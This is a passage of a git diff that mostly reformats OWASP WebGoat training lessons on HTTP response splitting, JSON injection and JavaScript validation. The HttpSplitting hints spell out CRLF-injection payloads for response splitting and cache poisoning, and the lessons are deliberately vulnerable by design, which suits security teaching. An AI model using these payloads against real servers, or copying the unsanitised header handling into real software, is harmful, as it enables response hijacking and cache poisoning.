+ else if (browser.indexOf("safari") != -1)
+ {
result = "Safari";
- } else if(browser.indexOf("netscape") != -1) {
+ }
+ else if (browser.indexOf("netscape") != -1)
+ {
browser = browser.substring(browser.indexOf("netscape"));
-
+
offset = getOffset(browser);
-
+
result = browser.substring(0, offset);
- } else if(browser.indexOf("konqueror") != -1) {
+ }
+ else if (browser.indexOf("konqueror") != -1)
+ {
result = "Konqueror";
- } else if(browser.indexOf("mozilla") != -1) {
+ }
+ else if (browser.indexOf("mozilla") != -1)
+ {
result = "Mozilla";
}
}
-
+
return result;
}
-
- private int getOffset(String s) {
+
+ private int getOffset(String s)
+ {
int result = s.length();
-
- for(int i=0; i 126) {
+
+ for (int i = 0; i < s.length(); i++)
+ {
+ if (s.charAt(i) < 33 || s.charAt(i) > 126)
+ {
result = i;
break;
}
}
-
+
return result;
}
-
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java
index 74f68d5aa..3317e465c 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/HttpSplitting.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.io.PrintWriter;
@@ -5,293 +6,261 @@ import java.net.URLDecoder;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.*;
-
import javax.servlet.http.HttpServletResponse;
-
import org.apache.ecs.*;
import org.apache.ecs.html.*;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian Technologies.
- * @created September 30, 2006
+ * @author Sherif Koussa Macadamian Technologies.
+ * @created September 30, 2006
*/
public class HttpSplitting extends SequentialLessonAdapter
{
- private final static String LANGUAGE = "language";
+ private final static String LANGUAGE = "language";
- private final static String REDIRECT = "fromRedirect";
+ private final static String REDIRECT = "fromRedirect";
- private static String STAGE = "stage";
+ private static String STAGE = "stage";
- private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
- "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
+ private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
+ .setBorder(0).setHspace(0).setVspace(0);
- /**
- * Description of the Method
- *
- * @param s Current WebSession
- */
- public void handleRequest(WebSession s)
- {
- //Setting a special action to be able to submit to redirect.jsp
- Form form = new Form("/WebGoat/lessons/General/redirect.jsp?"
- + "Screen=" + String.valueOf(getScreenId()) + "&menu="
- + getDefaultCategory().getRanking().toString(), Form.POST)
- .setName("form").setEncType("");
-
- form.addElement(createContent(s));
-
- setContent(form);
- }
-
-
- protected Element doHTTPSplitting(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
- String lang = null;
-
- try
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Current WebSession
+ */
+ public void handleRequest(WebSession s)
{
- ec.addElement(createAttackEnvironment(s));
- lang = URLDecoder.decode(s.getParser()
- .getRawParameter(LANGUAGE, ""), "UTF-8");
+ // Setting a special action to be able to submit to redirect.jsp
+ Form form = new Form("/WebGoat/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId())
+ + "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType("");
- //Check if we are coming from the redirect page
- String fromRedirect = s.getParser().getStringParameter(
- "fromRedirect", "");
+ form.addElement(createContent(s));
- if (lang.length() != 0 && fromRedirect.length() != 0)
- {
- //Split by the line separator line.separator is platform independant
- String lineSep = System.getProperty("line.separator");
- String[] arrTokens = lang.toString().toUpperCase().split(
- lineSep);
+ setContent(form);
+ }
- //Check if the user ended the first request and wrote the second malacious reply
+ protected Element doHTTPSplitting(WebSession s)
+ {
+ ElementContainer ec = new ElementContainer();
+ String lang = null;
- if (Arrays.binarySearch(arrTokens, "CONTENT-LENGTH: 0") >= 0
- && Arrays.binarySearch(arrTokens, "HTTP/1.1 200 OK") >= 0)
+ try
{
- HttpServletResponse res = s.getResponse();
- res.setContentType("text/html");
- PrintWriter out = new PrintWriter(res.getOutputStream());
- String message = lang.substring(lang.indexOf(""));
+ ec.addElement(createAttackEnvironment(s));
+ lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
- out.print(message);
- out.flush();
- out.close();
+ // Check if we are coming from the redirect page
+ String fromRedirect = s.getParser().getStringParameter("fromRedirect", "");
- getLessonTracker(s).setStage(2);
+ if (lang.length() != 0 && fromRedirect.length() != 0)
+ {
+ // Split by the line separator line.separator is platform independant
+ String lineSep = System.getProperty("line.separator");
+ String[] arrTokens = lang.toString().toUpperCase().split(lineSep);
- StringBuffer msg = new StringBuffer();
+ // Check if the user ended the first request and wrote the second malacious reply
- msg.append("Good Job! ");
- msg
- .append("This lesson has detected your successfull attack, ");
- msg
- .append("time to elevate your attack to a higher level. ");
- msg
- .append("Try again and add Last-Modified header, intercept");
- msg.append("the reply and replace it with a 304 reply.");
+ if (Arrays.binarySearch(arrTokens, "CONTENT-LENGTH: 0") >= 0
+ && Arrays.binarySearch(arrTokens, "HTTP/1.1 200 OK") >= 0)
+ {
+ HttpServletResponse res = s.getResponse();
+ res.setContentType("text/html");
+ PrintWriter out = new PrintWriter(res.getOutputStream());
+ String message = lang.substring(lang.indexOf(""));
- s.setMessage(msg.toString());
+ out.print(message);
+ out.flush();
+ out.close();
- }
- }
- }
- catch (Exception e)
- {
- s.setMessage("Error generating " + this.getClass().getName());
- e.printStackTrace();
- }
- return (ec);
- }
+ getLessonTracker(s).setStage(2);
+ StringBuffer msg = new StringBuffer();
- protected Element createContent(WebSession s)
- {
- return super.createStagedContent(s);
- }
+ msg.append("Good Job! ");
+ msg.append("This lesson has detected your successfull attack, ");
+ msg.append("time to elevate your attack to a higher level. ");
+ msg.append("Try again and add Last-Modified header, intercept");
+ msg.append("the reply and replace it with a 304 reply.");
+ s.setMessage(msg.toString());
- protected Element doStage1(WebSession s) throws Exception
- {
- return doHTTPSplitting(s);
- }
-
-
- protected Element doStage2(WebSession s) throws Exception
- {
- return doCachePoisining(s);
- }
-
-
- protected Element createAttackEnvironment(WebSession s) throws Exception
- {
- ElementContainer ec = new ElementContainer();
- String lang = null;
-
- if (getLessonTracker(s).getStage() == 1)
- {
- ec.addElement(new H3("Stage 1: HTTP Splitting:
"));
- }
- ec.addElement(new StringElement("Search by country : "));
-
- lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""),
- "UTF-8");
-
- //add the search by field
- Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
- ec.addElement(input);
-
- Element b = ECSFactory.makeButton("Search!");
-
- ec.addElement(b);
-
- return ec;
- }
-
-
- protected Element doCachePoisining(WebSession s) throws Exception
- {
- ElementContainer ec = new ElementContainer();
-
- try
- {
- s
- .setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
- + " the victim's cache. Type 'restart' in the input field if you wish to "
- + " to return to the HTTP Splitting lesson.
"));
+ }
+ ec.addElement(new StringElement("Search by country : "));
- List hints = new ArrayList();
- hints.add("Enter a language for the system to search by.");
- hints.add("Use CR (%0d) and LF (%0a) for a new line");
- hints
- .add("The Content-Length: 0 will tell the server that the first request is over.");
- hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
- hints
- .add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
- hints
- .add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
- hints
- .add("Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
- hints
- .add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
- hints
- .add("Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
- return hints;
+ lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
- }
+ // add the search by field
+ Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
+ ec.addElement(input);
- private final static Integer DEFAULT_RANKING = new Integer(20);
+ Element b = ECSFactory.makeButton("Search!");
+ ec.addElement(b);
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ return ec;
+ }
+ protected Element doCachePoisining(WebSession s) throws Exception
+ {
+ ElementContainer ec = new ElementContainer();
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("HTTP Splitting");
- }
+ try
+ {
+ s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
+ + " the victim's cache. Type 'restart' in the input field if you wish to "
+ + " to return to the HTTP Splitting lesson.
");
+ if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart"))
+ {
+ getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
+ return (doHTTPSplitting(s));
+ }
+ ec.addElement(createAttackEnvironment(s));
+ String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
+ String fromRedirect = s.getParser().getStringParameter(REDIRECT, "");
- public Element getCredits()
- {
- return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
- }
+ if (lang.length() != 0 && fromRedirect.length() != 0)
+ {
+ String lineSep = System.getProperty("line.separator");
+ String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang
+ .indexOf(lineSep, lang.indexOf("Last-Modified:")));
+ if (dateStr.length() != 0)
+ {
+ Calendar cal = Calendar.getInstance();
+
+ DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
+
+ if (sdf.parse(dateStr.trim()).after(cal.getTime()))
+ {
+ makeSuccess(s);
+ }
+ }
+ }
+ } catch (Exception ex)
+ {
+ ec.addElement(new P().addElement(ex.getMessage()));
+ }
+ return ec;
+ }
+
+ protected Category getDefaultCategory()
+ {
+ return Category.GENERAL;
+ }
+
+ protected List getHints(WebSession s)
+ {
+
+ List hints = new ArrayList();
+ hints.add("Enter a language for the system to search by.");
+ hints.add("Use CR (%0d) and LF (%0a) for a new line");
+ hints.add("The Content-Length: 0 will tell the server that the first request is over.");
+ hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
+ hints
+ .add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
+ hints
+ .add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
+ hints
+ .add("Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a<html>Insert undesireable content here</html>");
+ hints
+ .add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
+ hints
+ .add("Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
+ return hints;
+
+ }
+
+ private final static Integer DEFAULT_RANKING = new Integer(20);
+
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("HTTP Splitting");
+ }
+
+ public Element getCredits()
+ {
+ return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java
index 90fd63c6d..fe44a476f 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java
@@ -1,7 +1,7 @@
+
package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.WebSession;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -13,303 +13,286 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.BR;
-
import java.io.PrintWriter;
import java.util.List;
import java.util.ArrayList;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
- * @author Sherif Koussa Macadamian Technologies.
- * @created December 25, 2006
+ * @author Sherif Koussa Macadamian Technologies.
+ * @created December 25, 2006
*/
public class JSONInjection extends LessonAdapter
{
- private final static Integer DEFAULT_RANKING = new Integer(30);
+ private final static Integer DEFAULT_RANKING = new Integer(30);
- private final static String TRAVEL_FROM = "travelFrom";
+ private final static String TRAVEL_FROM = "travelFrom";
- private final static String TRAVEL_TO = "travelTo";
+ private final static String TRAVEL_TO = "travelTo";
- private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
- "Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
+ private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
+ .setBorder(0).setHspace(0).setVspace(0);
- public void handleRequest(WebSession s)
- {
-
- try
+ public void handleRequest(WebSession s)
{
- if (s.getParser().getRawParameter("from", "").equals("ajax"))
- {
+
+ try
+ {
+ if (s.getParser().getRawParameter("from", "").equals("ajax"))
+ {
+ String lineSep = System.getProperty("line.separator");
+ String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep
+ + "\"flights\": [" + lineSep
+ + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep
+ + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]"
+ + lineSep + "}";
+ s.getResponse().setContentType("text/html");
+ s.getResponse().setHeader("Cache-Control", "no-cache");
+ PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
+ out.print(jsonStr);
+ out.flush();
+ out.close();
+ return;
+ }
+ } catch (Exception ex)
+ {
+ ex.printStackTrace();
+ }
+
+ Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
+ form.setOnSubmit("return check();");
+
+ form.addElement(createContent(s));
+
+ setContent(form);
+
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Current WebSession
+ */
+
+ protected Element createContent(WebSession s)
+ {
+ ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator");
- String jsonStr = "{"
- + lineSep
- + "\"From\": \"Boston\","
- + lineSep
- + "\"To\": \"Seattle\", "
- + lineSep
- + "\"flights\": ["
- + lineSep
- + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"},"
- + lineSep
- + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} "
- + lineSep + "]" + lineSep + "}";
- s.getResponse().setContentType("text/html");
- s.getResponse().setHeader("Cache-Control", "no-cache");
- PrintWriter out = new PrintWriter(s.getResponse()
- .getOutputStream());
- out.print(jsonStr);
- out.flush();
- out.close();
- return;
- }
+ String script = "" + lineSep;
+ ec.addElement(new StringElement(script));
+ Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
+
+ TR tr = new TR();
+
+ tr.addElement(new TD("From: "));
+ Input in = new Input(Input.TEXT, TRAVEL_FROM, "");
+ in.addAttribute("onkeyup", "getFlights();");
+ in.addAttribute("id", TRAVEL_FROM);
+ tr.addElement(new TD(in));
+
+ t1.addElement(tr);
+
+ tr = new TR();
+ tr.addElement(new TD("To: "));
+ in = new Input(Input.TEXT, TRAVEL_TO, "");
+ in.addAttribute("onkeyup", "getFlights();");
+ in.addAttribute("id", TRAVEL_TO);
+ tr.addElement(new TD(in));
+
+ t1.addElement(tr);
+ ec.addElement(t1);
+
+ ec.addElement(new BR());
+ ec.addElement(new BR());
+ Div div = new Div();
+ div.addAttribute("name", "flightsDiv");
+ div.addAttribute("id", "flightsDiv");
+ ec.addElement(div);
+
+ Input b = new Input();
+ b.setType(Input.SUBMIT);
+ b.setValue("Submit");
+ b.setName("SUBMIT");
+ ec.addElement(b);
+
+ Input price2Submit = new Input();
+ price2Submit.setType(Input.HIDDEN);
+ price2Submit.setName("price2Submit");
+ price2Submit.setValue("");
+ price2Submit.addAttribute("id", "price2Submit");
+ ec.addElement(price2Submit);
+ if (s.getParser().getRawParameter("radio0", "").equals("on"))
+ {
+ String price = s.getParser().getRawParameter("price2Submit", "");
+ price = price.replace("$", "");
+ if (Integer.parseInt(price) < 600)
+ {
+ makeSuccess(s);
+ }
+ else
+ {
+ s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
+ }
+ }
+ return ec;
}
- catch (Exception ex)
+
+ public Element getCredits()
{
- ex.printStackTrace();
+ return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO);
}
- Form form = new Form(getFormAction(), Form.POST).setName("form")
- .setEncType("");
- form.setOnSubmit("return check();");
-
- form.addElement(createContent(s));
-
- setContent(form);
-
- }
-
-
- /**
- * Description of the Method
- *
- * @param s Current WebSession
- */
-
- protected Element createContent(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
- String lineSep = System.getProperty("line.separator");
- String script = "" + lineSep;
- ec.addElement(new StringElement(script));
- Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
- .setWidth("90%").setAlign("center");
-
- TR tr = new TR();
-
- tr.addElement(new TD("From: "));
- Input in = new Input(Input.TEXT, TRAVEL_FROM, "");
- in.addAttribute("onkeyup", "getFlights();");
- in.addAttribute("id", TRAVEL_FROM);
- tr.addElement(new TD(in));
-
- t1.addElement(tr);
-
- tr = new TR();
- tr.addElement(new TD("To: "));
- in = new Input(Input.TEXT, TRAVEL_TO, "");
- in.addAttribute("onkeyup", "getFlights();");
- in.addAttribute("id", TRAVEL_TO);
- tr.addElement(new TD(in));
-
- t1.addElement(tr);
- ec.addElement(t1);
-
- ec.addElement(new BR());
- ec.addElement(new BR());
- Div div = new Div();
- div.addAttribute("name", "flightsDiv");
- div.addAttribute("id", "flightsDiv");
- ec.addElement(div);
-
- Input b = new Input();
- b.setType(Input.SUBMIT);
- b.setValue("Submit");
- b.setName("SUBMIT");
- ec.addElement(b);
-
- Input price2Submit = new Input();
- price2Submit.setType(Input.HIDDEN);
- price2Submit.setName("price2Submit");
- price2Submit.setValue("");
- price2Submit.addAttribute("id", "price2Submit");
- ec.addElement(price2Submit);
- if (s.getParser().getRawParameter("radio0", "").equals("on"))
+ protected Category getDefaultCategory()
{
- String price = s.getParser().getRawParameter("price2Submit", "");
- price = price.replace("$", "");
- if (Integer.parseInt(price) < 600)
- {
- makeSuccess(s);
- }
- else
- {
- s
- .setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
- }
+ return Category.AJAX_SECURITY;
}
- return ec;
- }
- public Element getCredits()
- {
- return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO);
- }
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("JSON stands for JavaScript Object Notation.");
+ hints.add("JSON is a way of representing data just like XML.");
+ hints.add("The JSON payload is easily interceptable.");
+ hints.add("Intercept the reply, change the $600 to $25.");
+ return hints;
- protected Category getDefaultCategory()
- {
- return Category.AJAX_SECURITY;
- }
+ }
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("JSON stands for JavaScript Object Notation.");
- hints.add("JSON is a way of representing data just like XML.");
- hints.add("The JSON payload is easily interceptable.");
- hints.add("Intercept the reply, change the $600 to $25.");
- return hints;
-
- }
-
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("JSON Injection");
- }
+ /**
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("JSON Injection");
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java b/main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java
index 84fad2cbd..2efd75c8e 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -13,321 +13,271 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TextArea;
-
import org.owasp.webgoat.session.WebSession;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Jeff Williams Aspect Security
- * @created October 28, 2003
+ *
+ * @author Jeff Williams Aspect Security
+ * @created October 28, 2003
*/
public class JavaScriptValidation extends LessonAdapter
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- ElementContainer ec = new ElementContainer();
-
- // Regular expressions in Java and JavaScript compatible form
-
- // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
-
- // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one for JavaScript
-
- String regex1 = "^[a-z]{3}$";// any three lowercase letters
- String regex2 = "^[0-9]{3}$";// any three digits
- String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
- String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of numbers
- String regex5 = "^\\d{5}$";// simple zip code
- String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
- String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";//US phone number with or without dashes
- Pattern pattern1 = Pattern.compile(regex1);
- Pattern pattern2 = Pattern.compile(regex2);
- Pattern pattern3 = Pattern.compile(regex3);
- Pattern pattern4 = Pattern.compile(regex4);
- Pattern pattern5 = Pattern.compile(regex5);
- Pattern pattern6 = Pattern.compile(regex6);
- Pattern pattern7 = Pattern.compile(regex7);
- String lineSep = System.getProperty("line.separator");
- String script = "" + lineSep;
- try
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
{
- String param1 = s.getParser().getRawParameter("field1", "abc");
- String param2 = s.getParser().getRawParameter("field2", "123");
- String param3 = s.getParser().getRawParameter("field3",
- "abc 123 ABC");
- String param4 = s.getParser().getRawParameter("field4", "seven");
- String param5 = s.getParser().getRawParameter("field5", "90210");
- String param6 = s.getParser().getRawParameter("field6",
- "90210-1111");
- String param7 = s.getParser().getRawParameter("field7",
- "301-604-4882");
- ec.addElement(new StringElement(script));
- TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
- TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
- TextArea input3 = new TextArea("field3", 1, 25).addElement(param3);
- TextArea input4 = new TextArea("field4", 1, 25).addElement(param4);
- TextArea input5 = new TextArea("field5", 1, 25).addElement(param5);
- TextArea input6 = new TextArea("field6", 1, 25).addElement(param6);
- TextArea input7 = new TextArea("field7", 1, 25).addElement(param7);
- Input b = new Input();
- b.setType(Input.BUTTON);
- b.setValue("Submit");
- b.addAttribute("onclick", "validate();");
- ec.addElement(new Div().addElement(new StringElement(
- "Field1: exactly three lowercase characters (" + regex1
- + ")")));
- ec.addElement(new Div().addElement(input1));
- ec.addElement(new P());
- ec.addElement(new Div().addElement(new StringElement(
- "Field2: exactly three digits (" + regex2 + ")")));
- ec.addElement(new Div().addElement(input2));
- ec.addElement(new P());
- ec.addElement(new Div()
- .addElement(new StringElement(
- "Field3: letters, numbers, and space only ("
- + regex3 + ")")));
- ec.addElement(new Div().addElement(input3));
- ec.addElement(new P());
